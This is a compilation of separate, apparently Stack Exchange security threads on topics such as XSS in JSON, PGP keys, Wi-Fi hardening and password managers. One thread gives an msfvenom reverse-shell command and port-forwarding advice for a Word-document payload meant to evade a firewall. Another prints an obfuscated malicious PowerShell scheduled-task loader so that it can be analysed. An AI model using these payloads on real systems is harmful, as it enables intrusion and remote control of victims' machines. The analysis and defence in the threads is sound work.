XSS via JSON: Why does a web application not sanitize either its incoming params hash or its outgoing JSON values of malicious tags like Script? Recently working on a Rails-based web application for a company, I had to look into XSS vulnerability.  It turns out that the application, in some places, could take an HTML tag (e.g., <script>jscodehere</script> directly as a parameter in GET or POST requests.

This parameter is then accessible via the application's params hash (the hash where all incoming key/value data is made available from the request).

Now, the XSS vulnerability stemmed from the fact that the site also makes available the data of many of its pages in a JSON version (e.g., /cart/1.json).

Through some mechanisms I don't fully understand (I suppose this is technically "Reflected XSS"?), the unsanitized <script> code which has then made its way into the JSON can be used to compromise personal machines and other sites, through unintended execution.

My question is, why is this not an opt-in system?  Rails is now in version 4, so I'm surprised a solution still must manually be built, but this would apply to any web application framework.  It's one thing to allow the params to come in unsanitized by default (perhaps the HTML tags will be used in a user's profile page and the formatting is required) – and I think Rails does some scrubbing on the actual rendering action as well, limiting output, by default, to only "safe" html tags.

However, when rendering JSON, it does no such sanitizing/scrubbing, perhaps because when the JSON response is built up and parsed it is too customized to do so, but I don't fully understand why

1) Some built-in mechanism isn't in place

2) This isn't being talked about more–I could find no discussion of unsafe passing of HTML/Script tags in JSON rendering from Rails or Sinatra apps on the web (I could only find a tiny amount of information about Sanitizing the params hash, so sanitizing values on the way IN, which arguably is better, but may not work for everything, as it is a one-size-fits-all solution; you may want to retain some HTML tags but only strip out <script> tags, for example).

3) Why, in the Ruby world, at least, there is only at present one library which exists for sanitizing (the Sanitize Gem, and it really only works on String datatypes–you have to write your own recursive code to sanitize a Hash, like the params hash, and there seems to be nothing written on this, either!).  Rails does have a built-in sanitizer, but it is considered inferior to this third party Sanitize Gem, and is not as flexible when it comes to having a few levels of strictness in how deeply to sanitize (a string).

Am I misunderstanding the validity of injection into JSON as a vulnerability, or has this vulnerability largely been overlooked because JSON is not a core feature of all web applications?

End result: I used a before-filter in the main application controller on the back end to sanitize the params hash every time it comes in from a request, using the Sanitize library.

However, I believe this significantly slowed down the application because it has to happen on every request, and the Sanitizer is essentially running a series of regex calls in a recursive fashion on the hash.  This way no tags ever enter the database, and can also never make it out via JSON, but it is a costly hit performance-wise.  Is there a better way?

This is often brought up everywhere, partially because everyone keeps repeating the mantra that input sanitation is the answer. It isn't. It's dangerous, bug-prone, and it needs to go away. Of course, you should always check to see if your input lengths are correctly corresponding to their appropriate columns.

Sanitizing Input vs. Sanitizing Output.

Sanitizing input gives people a false sense of security since there are so many ways to get around it, and because it's difficult to properly implement, forcing developers to search google for an outdated implementation that may or may not be secure. For this reason, it's best to sanitize output.

Part of the reason this is done later is because you want to preserve the correct data, but also to protect against SQL injection attacks. SQL injection attacks are largely defeated by prepared statements, not really input sanitation. You should replace all script tags and dangerous outputs  with html entities.

Here's an example of replacing potential script characters with html entities on output, not input:

< becomes &lt;, still displays as < on the page, but without messing with the layout, or the database.
> becomes &gt;, still displays as > on the page, but without messing with the layout, or the database.

So Why Not Sanitize Input? What If We Correctly Implement It?

Most developers aren't IT security experts. Most developers wouldn't have a clue what to do in this area. By teaching them these two common methods of protecting data, you save development time and significantly increase the overall security of your web application. Better yet, you help your developers understand why this is necessary, instead of why 2340939403424 different types of input sanitation are needed, and prevent a lot of implementation issues that will invariably pop up later on.

Like I said before, searching google for outdated input sanitation functions is not security. That's a false sense of security. You need to understand what is acceptable, and what is not, and the process that data goes through.

With output sanitation, you don't have to worry about some weird bug happening later down the road that you forgot about. You don't have to mess with tons of different complicated functions that could be implemented incorrectly, and give a false sense of security. You don't have to worry about scripts being injected either.

But what if we replace all html entities before they're inserted? If you try that on the client side, anyone could modify the request. If you check it on the back-end before putting them in the database, that could work too... but then there's a problem:

What if there is a field that requires an actual HTML entity to be placed on it? Let's say a packaging, an address, or something silly like that. Maybe it's a file name, maybe it's something you have implemented in one way.

Example of Why Input Sanitation Sucks

Maybe someone has a funny keyboard that uses a different apostrophe for their name or address? This could leave some databases open to unicode-based smuggling.

Maybe you need a record that has < or > inside of it? What are you going to do? Search by the Html Entity? That's pretty inefficient, and requires a lot of hacks to get working right in many databases.

Maybe someone's name has an apostrophe in it - for example, Rory O'Cune. With input sanitation, you are destroying his name and requiring more code to deal with it. What if one of your employees is searching by last names and can't find him because it's been shortened to OCune? This is awful.

That's another reason why you use parameterized queries, and not input sanitation. With prepared statements and output sanitation, you can do this:

SELECT * FROM [table] WHERE [last_name] = @Lastname -- (or ?)

The @Lastname (would be a ? in Java) parameter/bound variable will be correctly translated to O'Cune. No funny business required. No bugs to hunt down. It's infinitely more secure, and you can just output the html entity if it's a page-breaking character.

So Why Isn't Ruby Fixing This Automatically?

Why should they? I've yet to come across any implementations of JSON in any language that will automatically remove these script tags. What if you want to use JSON to display script tags for some weird reason on your website?

By removing this feature, you are preventing anyone from outputting HTML through JSON, which I suspect could break a lot of things for a lot of people.

Thus, the answer is to do it yourself. Replace those script tags with Html Entities before they get serialized and returned.


LPORT question - I seem to not understand some concepts I am trying to build a payload for inserting as an obfuscated code into a Word document, which will create a listener on the attacked machine and will allow me to execute some commands (not through .exe file as shown in tones of videos)

I am assuming:
The attacked machine is behind a firewall, which blocks outgoing traffic except for port 80 and 443. Thus I want traffic of the attacked machine to be forwarded TO those ports, so I could listen and execute.

I am using SET toolkit (in Kali), pick "social-engineering attacks"->powershell attack vectors -> alpha-numeric shell code injector.

It prompts for LHOST, which is my public IP, forwarded to my internal IP (I am behind router).

Then it prompts for LPORT and that's it.

My understanding is LPORT - Local Port, which means port I am going to accept traffic coming FROM the attacked machine.
But in this case, HOW can I specify an outgoing port for the ATTACKED machine?

I'd like a meterpreter solution, if possible. I don't care if it's a powershell vector or other, since payload, if I understand correctly only opens for me a possibility to listen and execute commands on the attacked machine.

On a SANS Institute cheatsheet I have found an interesting command:

msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe

Here it seems like LPORT is introduced into malware file, but in this case it'll be exactly what I need; a port for outgoing traffic from the attacked machine.

You are going to have to set LPORT to two different values. LPORT on the payload should be the port you forwarded on the router (the one you can access externally). LPORT on the exploit should be a port that your attacking machine listens on, for example port 4444.

Explanation:

Since a firewall only allows port 80 and 443, you will need to forward either 80 or 443 on your router to port 4444.

For this explanation, we are going to take port 5555 as the port open on the router, and port 4444 as the port listening on the attacking computer. To deal with the firewall, you will need to use port 80 or 443 instead of port 5555.

Since you are doing this attack over the internet, and have port forwarded to your attacking machine, you are able to send data from a computer on a different network to your attacking machine. It looks something like this:

Computer on another network -> Router (port 5555) -> attacking machine (port 4444)

So since the payload is launched from another network, the only way for it to communicate with your attacking computer is on port 5555.

The exploit / handler is running on your attacking machine which is on your own network. Port 4444 is listening for data which has been routed from an external computer, though your router, and to port 4444. For this reason, the LPORT for the exploit / handler is 4444.


bots bypassing form and submitting directly through web service We have a form that when submitted, will transmit its data as XML to a public web service. I am concerned that that URL is being directly manipulated to post bogus entries to our system, completely bypassing the form itself. The form itself is already through an HTTPS connection. I believe we are using SOAP. What can we do to secure the form/service?

HTTPS will only prevent people from viewing the data en-route to the web service. It provides no method to authorize a request. You'll need to implement some authorization/authentication in the web service to make sure the people posting data are the ones that need to be posting data.


Does my PGP key really need to match the e-mail address for which I'll be using it? In considering whether or not I want to join the big web o' trust and put my keys on a key server, I got to thinking about how it would affect my e-mail address' exposure.  I generally try to keep my e-mail addresses from being too public, so as to avoid unwanted spam.

Along this train of thought, I began to wonder:  If (feel free to correct me if I'm wrong) a PGP key is really meant to be a representation of my personal identity, does it really need to be associated with every e-mail address I'm going to use?  Does it even need to be associated with an e-mail address at all?  If not, what are the pros and cons of either implementation?

By my understanding, if someone receives a message that has my digital signature on it they should (in theory) be able to verify that the message came from me regardless of the sending address.  Similarly, if someone wants to send an encrypted e-mail to me, they can (in theory) do so with my public key and be assured that no matter where that e-mail goes, only I will be able to read it.

So, what's the real deal here?

Depends on how you are using PGP.

From version 10.0 of the PGP Desktop client, the encryption and decryption is seamless and automatic from an Outlook rich client.

If your email address is the same as what is in your PGP key then you can email with a simple rule like anything you set Sensitivity to Confidential > Encrypt. Any encrypted received to this email address will also be decrypted automatically. When rolling out to non-technical users we found this a major benefit.

You can always not associate your real email address with PGP key and encrypt the contents manually. Or put the data in a document, encrypt that and email in clear text. Vise versa for receiving encrypted email.

You are right it does not effect signing. Although again if you submit it with an email address to the open PGP global server, it gets signed by that key and if the receiving party has imported the PGP global key, they will get a nice blue border around the email saying this email signature has been verified. Otherwise it will be  red and say this the signature cannot be verified. Does not effect cryptographic validity of the signature just the UI experience

So it is a really a convenience vs. email enumeration trade-off. Considering that email address is used as a username in many services, and at least gmail spam filtering is extremely good (I also use the unsubscribe.com service because I'm lazy). Personally I would not have a problem with associating my email address with my PGP key and publishing to the global server.


Undetected Trojan: what type of Scheduled task is this? on a computer I received an email with a web link inside that shows the following address:

hxxps://myprimeedu.com/certificato/f0uq1-17relk-aW5mb2NlcmJvbmVhbGx1bWluaW9AcGVjLml0-y8ym71-wowuq-2rpvmx/MDY0OTE3NzQ2MDIzMDM=

(EDIT: Link neutered)

From this address (with the Chrome browser) a .zip file is downloaded which contains two files inside: a pdf file and an exe file that creates a Scheduled Task.

The antivirus (Bitdefender) has not identified any threats.
With a subsequent analysis using VirusTotal the .zip file has been identified as "Trojan, Suspicious link or Link Drop" from only 7 AV engines.

The individual files, on the other hand, are not detected by any engine (but there is one detection from the community).

The user has clicked on the PDF file that has created a scheduled task.

The scheduled Task created has this format:

C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}"

The task is programmed to run every 2 minutes.
What is shown, on this computer, is a quick and empty pop up of the command prompt window.

I can't understand the intent of this Scheduled Task.

Can you help me to figure out?

How can I detect the type of compromise I had on this computer?

Thanks in advance.

I think that's using PowerShell to look for files matching comu*.* and run the contents using PowerShell.

It runs cmd /c to call Powershell.  It spells out PowerShell because %tmp:~5,3% translates to ers (since %TMP% is typically C:\Users\<username>...).

cd %public:~-15,9% goes to the Users directory.

ls -force -r -in comu*.*|select -last 1 finds the file.

gc -LiteralPath $y|select -last 1 gets the contents of that file.

iex $y executes the saved contents.


How do hardware OTPs work - from a developer's perspective? I've recently stumbled across the Gemalto IDPrime MD series of smartcards which offer PKI and OTP functionality (I know the difference in key management / generation and user oriented usage).

Now I searched a bit around and found no satisfying answer to the question:

Do all (standard) hardware OTP tokens require the developer to pass the OTP to the manufacturer's server for verification?
If an OTP token (e.g. a smartcard), does not feature a USB connection nor a display, how does the one time password usually move to the user? Via direct API access? Via a new window? Via an non-PC connected card reader?

As a side note: I do not include OTP tokens made specifically for large companies, because obviously they'd be manufactured with a company-known secret / customized from the company.

As a side note: If the token has a display (like a RSA SecurID), the user can simply read the OTP and enter it manually using the keyboard and if it features a direct USB connection (like a YubiKey) the token can just emulate a keyboard and type it by itself.

As stated in your other post:

No. You do not need to pass the OTP value to the manufacturers site. Usually - if you are buying pure OATH/HOTP tokens cheap in china (like Feitian), you will not even be able to do this. You need to run your own server like privacyIDEA.

The smartcard is usually no OTP token. However, some smartcards like from Gemalto indeed have an OTP application on it. In this case you need to insert the smartcard into a smartcard reader and you need to have an additional application on your client. This application will communicate with the smartcard to retrieve the OTP value.


How safe are Firefox addons from official mozilla.org site? I would like to install the Dictionary Pop-Up addon for Firefox. I usually don't install any addons, but this one looks especially tempting.

I could not find any information on the Mozilla page, whether or not this addon is authorized/approved/reviewed.

What are the chances that an addons mozilla.org on is malicious? And, if it was malicious, how are usually malicious addons discovered? I mean, if 30.000 people already downloaded it, is it less likely that it is a malware? Would it have been discovered already?

I have used this specific addon as an example, but I am interested in this problem in  general.

The accepted answer is out of date.
As of October 28, 2017 Firefox FAQ states a different view (note the "may"):

Are add-ons safe to install?
Use caution when installing add-ons, as they could harm your computer or violate your privacy.  Add-ons available from this site may be subject to review by Mozilla's team
of reviewers, and user feedback is closely monitored, so they should
generally be safe to install.


Use RSA keypair for PGP encryption and decryption Is there a way that I can use a RSA keypair with PGP?
What I mean is that I have 2048 length keypair and i want to use that to encrypt and decrypt data. But all I have found is that the PGP uses some keyrings and some pgp keys. And I haven't found anywhere why they are different?
Why I am asking is that I need to store keys in HSM but i cant do that with PGP keys. Looked around and didn't find anything about that on google also.

Can anyone explain it to me or share some link.

What PGP does is described in the OpenPGP standard. In OpenPGP, "key rings" are some terminology for "public and/or private keys encoded in the format described by OpenPGP".

Among the types of keys for which OpenPGP describes a key ring format are RSA keys. There is no fundamental issue which would prevent an OpenPGP implementation from using a RSA private key which is stored in a HSM. Practically speaking, though, the free OpenPGP implementation, called GnuPG, does not inherently supports that -- but the gnupg-pkcs11 project may help: it allows integration of a cryptographic device which offers a PKCS#11 driver (virtually all HSM do that) into the GnuPG world.

Importing an existing "PGP key" (i.e. a RSA private key currently stored as a file in the OpenPGP format) into a HSM is not necessarily a good idea: a HSM is an expensive device which aims at never allowing a private key to ever exist outside of the tamper-resistant hardware of the HSM. If the key is imported, then it does/did exist somewhere in the outer world, which makes the use of the HSM much less justified.


Automated Malware Analysis Tools as a standalone I am in search of automated malware analysis tools in order to list and evaluate/benchmark, but I can't find solutions that work as a standalone. Most of what I found is online or requires buying a corporate license, something that I can not do as the research is intended for acedemic purposes. Mainly my search results have been proposals of solutions in scientific publications that cannot be tested. I would be grateful if someone could suggest solutions such as Cuckoo Sandbox or sources that list such software.

Thank you in advance.

Perhaps you can try Limon sandbox. (for Linux malware)
https://github.com/monnappa22/Limon


What type of vulnerabilty is this? I'm testing a website:

https://this-site.com/path/to/dirs

but what i've found is if I do the following below the site will load 4 pages in a infinite loop

https://this-site.com/path/to/dirs/.../.

I was thinking it would be something along the lines of some sort of input validation issue or even DOS as if I open up many tabs I could consume a great part of resources of that server. I've checked through google but I couldn't find anything related to what i've found .

Not any sort of vulnerability; simply a usability issue that might affect users visiting the site from a malformed URL.

It is not an easy way to perform a DOS attack, because there is no evidence that this is taking any more resources on the server than hitting non-redirecting set of pages, or preventing other users from accessing different pages.  You can set your browser to visit this redirect loop, but you can also use scripting tools or browser extensions to request any other page on the site repeatedly.  This is a flood attack, and does not depend on any vulnerability on the server.


Protect against unauthorized connections to the wifi network? How can you prevent and detect unauthorized connections to your wifi network? What can I do as a user to protect my network?

Since the question has been changed, I decided to change the answer which I provided.

To detect unauthorized connections the web-panel on router may be your good friend. Many routers are listing the devices connected on their web panel. Some routers show DHCP table, others name it as 'connected devices' or something similar. Some routers also keep information about all devices that were ever connected (for example BT Hub 3 type A), however this is not always true. Some routers (like mine) automatically forget devices that are not connected for over a specific period of time. This table will be looking different on different routers.

(for own safety I have modified host names as well as clearly I masked MAC addresses)

On some routers you may be able to use remote telnet or ssh to provide remote shell. This however is usually disabled by default, and some routers do not let the users to access them. If this is the case you may be able to use command arp to list all currently connected devices.

(For own safety I have removed list of MAC addresses from the image)

If the router doesn't allow to list connected devices, then you may be able to use 3rd party software on your computer or phone to find connected devices.
This is example of one of such software I found by using google.
Please however note that I do not have previous experience with this software.

I have decided to leave the old answer as I believe that the tips given in it may be helpful in preventing unauthorized connections.

As an user you can protect your router in few different ways.

First you should always use WPA2 (which is more secure than WPA or WEP). This should be combined with a secure password, at least 10 characters preferably including capitals, numbers and special characters. The longer the password the better. This will stop people from brute-forcing your WiFi password easily. I would personally recommend changing the default WiFi password.

Secondly you should disable WPS (allows to connect to router via 8 digit code, this code can be no longer or shorter). This is because quite a lot of routers do not prevent brute-forcing of the pin codes, and other set the pin to known value. As my personal experience, I have never seen anyone actually use it for their own use, usage of normal password is more often and lots of users will not even know how to connect to WPS enabled router.

Third if your router supports MAC filtering you may enable it. This will not stop hackers getting into your network, however it will stop unskilled users who know the password. As a note here, this may become slightly issue if you want to add new device, as you need to go to router website and add the devices MAC address, in order to be able to connect with this device.

You should also try to keep all software up to date. This is to prevent software bugs for example KRACK (Key Reinstallation Attacks) was a good example. Updating all your clients as well as routers to the newest software and firmware allows to fix such bugs. However please note that flashing routers firmware may cause to brick it, if the power was lost while installation was in progress.

Also you should consider wisely who should have access to your WiFi, for example does your friend really need your WiFi password? This may be a bit controversial but at the end of the day their devices will need to store the passwords, and there are multiple ways to extract known password whatever the device used was computer or phone. At the end of the day, the way they handle their devices may also affect security of your WiFi network.

Another advice is to keep your router away from window or visible space at house. There is a possibility that someone may look at the back of the router to see the password through windows and then use your WiFi, or a guest may assume that you will be alright with him using your WiFi without your knowledge.

While this is not really prevention for unauthorized connection to WiFi, I believe it is worth to note that you should also make sure that you change default administrator password on router's web-panel (usually it is on 192.168.0.1 or 192.168.1.1 however this may vary).


2-factor authentication can be misused? I was trying to access my account on an e-commerce website but I couldn't get my password right. So, the website offered me the option to authenticate using my security code from Google Authenticator alone (my 2-factor authentication method). I was wondering if this is a possible misuse of this concept of multi-factor authentication.

It depends on the protection requirements of the website. When you talk about multi-factor authentication, you distinguish between different types of factors:

Something you know (e.g. a password)
Something you have (e.g. an authenticator)
Something you are (e.g. fingerprint)

How many of these factors are required, can be decided based on the protection requirements. If the website is fine with a single factor, proving that you own the authenticator is OK. If the website requires 2 factors (e.g. password AND authenticator), but you are able to log in with only the authenticator, you have found a security defect.

This means the answer is, it depends.

Sidenote: In case your browser is already known to the website, because you successfully authenticated with the same user in this browser before, the requirements concerning the amount of factors might have been deliberately reduced. This is done by some websites to improve the user experience.


Why do we use such a redundant language (English) for network communication? I have heard throughout the internet that English is incredibly redundant. So why do we turn English messages in to a cipher which is then, from my understanding more vulnerable to letter frequency analysis (LFA). I think it would be more vulnerable to LFA because someone trying to decrypt the message would only need to get a certain percentage of the letters correct. Why not use something where the hacker would require a much higher percentage of matches to letters? Or am I speaking from ancient times and is LFA not so much of a problem with the more recent ciphers?

edit: Would it make more sense to use a much less redundant language, perhaps a custom language specifically for network communication where the source and destination nodes have translation software?

Thanks :)

We don't use English for "network communication," we use network protocols. The things people say in natural language are usually much less interesting than the things computers say to each other.

LFA depends on the definition of a "letter." In English and ASCII (or more likely UTF-8) encoding, this corresponds to one byte. To do this kind of analysis, then, you need a single-byte cipher like XOR or a Caesar cipher. You can do similar things with a Vigenère cipher, with a little more work. These are not in common use, though: we usually use block ciphers or stream ciphers.

Block ciphers in Electronic Code Book (ECB) mode are subject to block frequency analysis, which is not as foolproof, but still is a valid attack. At larger scales, this is what is behind the "seeing the penguin" demo.

If any of this is interesting to you, I highly recommend you try Matasano's Crypto Challenges, which will take you through practical implementation of real crypto attacks, from frequency analysis on XOR ciphers to padding oracle and repeated-nonce attacks.


How to handle security issues of someone else's website A few weeks ago I found that someone has posted admin account details for a certain website on a public wiki by mistake. As I found that data to be real (i.e. I could log into their website run by Wordpress), I immediately did the following:
I removed the sensitive data from that wiki, I asked the wiki admin to permanently remove all revisions of that page and I wrote an email to the admin to inform him about it and ask him to change his password as soon as possible.

To make it worse, the security issue doesn't just involve their website, but also personal data of their nearly 2000 users. To top it off, the website is about organizing high-profile IT events (including events about IT security).

Now it's three weeks later and nothing happend (i.e. neither did I get a reply nor did the admin change the password). If I were the admin, I know what should be done. But how to handle this situation when the admin won't handle the issue professionally? So far, I only send them a second email today.

I can think of three things to do, but I'm not sure if I'm legally on the safe side here?

Send an email to all users to inform them about the issue.
Write a blog post on their homepage like "This website has been compromised". (I am sooooo tempted to do that. I feel it's morally fine, as I wouldn't change anything else and feel their user base needs to know about the issue. But I'm not sure if I could be in trouble if I did that?)
Inform the Federal Trade Commission about it. (The website is based in the US.)

Do you have any advice on what I am legally and morally allowed and obliged to do?

For legal advice you need to seek a lawyer. In some countries it is already illegal to do a "test" login with an account that does not belong to you.

What I would do?

If the IT-department does not answer and does not fix the issue, you should try to reach other people at the company, especially upper management, public relation, customer relation, high level support.

Contact the CERT that is responsible for you or that company. They have lots of experience in getting attention from the right people. So in this case the US CERT.

The moderators of the Bugtraq mailing list have been helpful, too.

Other ideas

Paper mail may get you more attention easier than electronic mail, especially if it is a paper mail with delivery confirmation.

You can try to reach them by phone. This is probably the most efficient way, but be careful that they cannot claim later that you tried to blackmail them.

You can tell them that you will try to reach them via public media on the xxxx-xx-xx (2 weeks from now) as the last resort if you cannot get through to them. But again, make it very clear that you just want a confirmation that your report has been received.

You can reach out for the media right away, perhaps agreeing with them in advance that they will contact that company before publishing the story.

You surely should not abuse the admin account to change any content on their website, including making a blog post.

If you go public yourself as blog post on your side, on your user page on that wiki, I'd do that in the form of an open letter: A short introduction saying that all your tries to reach the company have failed so far, therefore you are publishing this letter in the hope that it will finally be noticed by that company. Perhaps add that you have decided to go public because you feel ethically pressured to warn people who's personal data is at risk. And then the original email. It may be a good idea to redact the details (e. g. the password and the name of the wiki page if it's still in the history).


When calling a process from another process, Is sending stdin password more secure than sending an ENV variable? I am a Java developer that is building an app where it needs to call a C# process from within. In my situation, the Java app is calling this C# program https://github.com/nddipiazza/SharepointOnlineCookieFetcher.

This C# program requires a password. It accepts a stdin password (masked using SecureInput) or it can take password as an environment variable.

I am wondering... in this situation... what is more secure and why?

1) Sending the password using the stdin?

or

2) Set the environment variable SPPWD=thepassword and call the program?

Neither. Both ways of providing the password can be bypassed (rather trivially) in the same way (replacing the target executable with your own or checking the child process state at runtime).


Finding hash collision for instance, sha-1 is known as weak hash function.
If attacker finds collision in hash function, can he generate valid MAC for given message m?
I mean it is possible to generate valid mac for any message , just using weak hash function.
If it possible, what is needed to generate valid mac?

No, because the key acts as a bias adding just enough entropy to defeat the weakness. In the same way you can also still use HMACs based on md5. Obviously you shouldn't do so.


What's the point of using multiple checksum algorithm with "aide"? In aide the author offers more than one hash algorithm to do the check-sum, why is that?

Aren't a single one, i.e sha512 enough for determining file changes? I believe these algorithms are all testified in mathematical area, shouldn't be a problem here, am I wrong?

There is little reason to use more than one hash at the same time. There are no known collisions against SHA-2. In theory using several at the same time can be an insurance against attacks on the hash function, but I don't think that's a big issue for AIDE.

But allowing choice can be useful. The current default might get broken at some point. Once that happens switching the hash in a config file is easier than rolling out a new version of the software.

Hashes also have different performance characteristics. For example SHA-256 is faster than SHA-512 on 32 bit systems, but slower on 64 bit systems. So you might want to choose the one that matches your CPU architecture.
Or if you need high performance(for example you use SSD RAIDs) you can use faster hashes that aren't approved by NIST.


Are password managers still effective on a cloud PC (virtual machine)? I have recently started using a cloud gaming service. It provides me with control of a 'remote PC' (actually a virtual machine running in their data centre) accessed through an app or VNC console. The VM is switched on/off using a control webpage where a password must be entered.

This week the cloud gaming service was hacked (specifically, several people discovered that all users could access the control webpage back-end using their ordinary user password). An attacker had access to all of the virtual machines and is known to have accessed one of them (owned by someone we will call "Numpty") in order to take control of other accounts which were open on that VM at the time.

Using a password manager (1Password, LastPass, etc.) is often the top recommendation for secure computing. But in this specific case, it seems that using a password manager is no more secure. It would not have protected Numpty, since their other accounts were already open on the desktop to which the attacker had full access. Is that correct?

I even wonder whether a password manager would have been less secure than memorized passwords. If Numpty had been using a password manager, it seems that the attacker could have opened the web pages of popular websites (Amazon, Google, PayPal, etc.) and accessed those accounts without needing to know the password. Is that correct? I have never used a password manager, so I am not certain.

I am wondering about whether to discourage the other users of cloud gaming services from using password managers, so please point out any flaws in this argument.

It all very much depends on the exact situation.

Situation 1: The VM was turned off.

You mentioned that the specific VM can be turned on and off. I'm going to assume turning it off through the control panel shuts the VM down, meaning all RAM will be wiped.

In such a case, if the attacker could have turned the VM on and logged in, they could have stolen the password manager data base. This database is encrypted with either a master password or a key file.

In case of a master password, it depends on the exact configuration of the Key-Derivation Function set before the database was compromised. With sufficiently strict parameters, and a reasonably long password/passphrase, brute-forcing the database is nigh-impossible.

If a keyfile was used, and the keyfile was never transferred to the VM while the attacker had access, then it is also virtually impossible for the attacker to attack the database.

This is generally the best-case scenario.

Situation 2: The VM was used during the time of compromise.

In this case, the attacker could have actively attempted to gather passwords through your password manager, by waiting for the required key material (password/passphrase, keyfile, etc.) to be supplied.

While this is certainly theoretically possible, it would require the attacker to specifically target password managers. It's not possible for me to say whether or not they did.

Are password managers less secure than memorized passwords?

Password managers are designed to protect against a different kind of attack. In the vast majority of cases, the servers where a password is used are hacked, and hashes of these passwords are stolen. In such a case, a long and completely random password generated by a password manager is virtually impossible to crack, while a humanly rememberable password is magnitudes easier to crack by comparison. Sure, there are passwords/passphrases that are extremely difficult to crack, but they pale in comparison to

QZHvqfxKU7MB9UU?KaktEC2^qe*-VF2W++%tqagj

In the case of the machine where a password is stored being compromised, the password database is still encrypted, meaning that an attacker either needs to wait for the password database to be decrypted or they need to crack the master password themselves.

In comparison, if one were to use humanly memorable passwords, an attacker would need to wait for a user to enter the password manually. Depending on your habits (re-using passwords, using patterns for passwords, etc.), this means an attacker only needs to grab a few passwords to have access to your accounts.

In this situation, the humanly memorable passwords that follow all guidelines (all unique, strong passwords) and are never used while the machine is compromised, would fare better than a password manager.

However, such situations are much less frequent than hashes being stolen via e.g. a SQL Injection vulnerability. As such, it is still best-practice to use a password manager.

How should you react now?

First of all, change all your passwords of all accounts in the compromised database. Enable Multi-Factor Authentication for any service that offers is. Even with a cracked password, an attacker cannot compromise your account if the second or third factor is not compromised.

Finally, don't host your password manager in the VM. If it is at all possible, host a password manager locally and configure them to auto-type keystrokes instead. This means an attacker never has direct access to your password manager database. Sure, they would still have access to any password you enter, but that is unavoidable if your VM is compromised.


Is it legal to start a private website for you and your friends to hack? My friends have expressed an interest in hacking, but we don't want to do anything illegal, and considered CTF365, but it was WAY to expensive. Is it possible/legal for one of us to create a private website for us to hack, or play attack/defend with two websites of our own?

To the best of my knowledge, yes, it's legal.  Every anti-hacking law I'm aware of refers to unauthorized access, and if you've got permission to hack it, it's not unauthorized, is it?

Note that there are some things you'll need to watch out for.  Some jurisdictions prohibit the possession of "hacking tools" (akin to prohibiting possession of lockpicks, but less well-defined), and some techniques, such as packet spoofing or (D)DoS, can have collateral damage that would fall afoul of the law.

You'll also want to check your webhost's opinion of what you're doing.  They may not permit this because of possible effects on other customers; if you're hosting the website on your home connection, you might be violating your ISP's terms of service.

If you want to be completely safe, do this on a dedicated network that is isolated from the Internet entirely.  A cheap Ethernet switch and a Raspberry Pi or two can get you a setup you can play with for under $100.


Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc? If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling or these malicious programs will be removed even if the disk is not formatted before reinstalling?

You are required to format the disk completely. There are rumours and even proof of concepts of rootkits hiding in the BIOS, but I haven't seen them in the wild yet.


Verifying that the CRTM is read-only for the purpose of trusted computing When using a TPM to provide integrity measurements for a system via SRTM, the trusted computing base is reduced to only the TPM and CRTM. The CRTM is a component of the BIOS (specifically the bootblock) which executes first and allows the TPM to hash the remaining contents of the BIOS, in effect making it so that even compromised firmware cannot break the chain of trust. It is intended to be read-only and is stored alongside the BIOS. If it is not read-only, then it cannot provide integrity.
Typically, the chain of trust goes like so (where the CRTM and TPM are trusted):

The CRTM sends the hash of the BIOS itself to the TPM.

The BIOS sends the hash of the option ROMs, MBR, and bootloader to the TPM.

The bootloader sends a hash of the kernel and boot parameters to the TPM.

The kernel is executed, and it verifies the integrity of userspace executables.

Each earlier stage verifies subsequent stages, all the way to userspace. When the kernel is up, the TPM will only "unseal" itself and reveal a secret value if all of the hashes it has gotten thus far are correct. A compromised system will not be able to successfully unseal the TPM and the secret value not be revealed. The end result is that, if the CRTM is trusted, everything will have been verified and need not be trusted, from the BIOS to the kernel to userspace. All of this relies on the assumption that the CRTM and TPM cannot be modified. However, the potential for implementation issues was highlighted in the section Implementation Specific Attacks on the ITL blog.
How can one verify that a specific vendor's CRTM is read-only in hardware?

As the name implies, a CRTM is the Core Root of Trust for Measurement. By definition, a Root of Trust of a given system is trusted because its correct operation cannot be verified by that system. In general, for a CRTM to operate correctly it must be immutable for the system that relies on it.

So, by principle, it doesn't make sense to try to verify the immutability of a Root of Trust from within the given system ("in-band"), especially if the trustworthiness of the verification relies on the very assumption you try to verify.

Nevertheless, verifying the immutability of a CRTM would depend on the particular CRTM implementation and on the level of assurance that you are trying to obtain, with approaches ranging from attempting to write to the given CRTM code location to hardware design review and physically invasive methods.


Differences between using an encrypted container and encrypting a partition I would like to store encrypted backups on an external hard disk and am wondering what the differences are between creating an encrypted (Veracrypt) container and creating an encrypted partition.

Are there any differences between these two options regarding performance or data corruption (data loss)?

The container is an file, that can reside anywhere. You can copy or move it and the data inside remains secure.

Encrypting the whole partition encrypts all content in that partition. To securely move something from there, you would need move it to another encrypted partition or container.

Performance is pretty much similar in the case of reads/ writes.

In the case of data loss, things get more complicated. Results really depend on the type of damage.

The container file is definitely easier to backup and restore, but has the disadvantage that if you have no backup system whatsoever and you damage the container file, there could be massive damage inside it or it even become unusable.

In the case of full encrypted partition, damage like bad clusters has less impact than it has on a file container, but it presents the disadvantage of total possible failure in case of various critical partition areas damage.

To choose between the two you should consider what data you store there, how large is it, how much of it updates/changes and how do you intent to back it up.


Wordpress versions 5.3 and 5.4 I am testing Wordpress website that is in 5.3.3 version, which is current and updated just few days ago (April 29, 2020). But there is also 5.4 branch, is it recommended to upgrade to 5.4 because it seems to be supported longer?

List of Wordpress versions:
https://codex.wordpress.org/WordPress_Versions

From the releases page:

  None of these are safe to use, except the latest in the 5.4 series,
  which is actively maintained.

From the changelog, it looks like 5.3.3 contained some minor security fixes and other maintenance updates. But unless you have a strong reason not to upgrade, it is probably best to follow their recommendation to use the latest version.


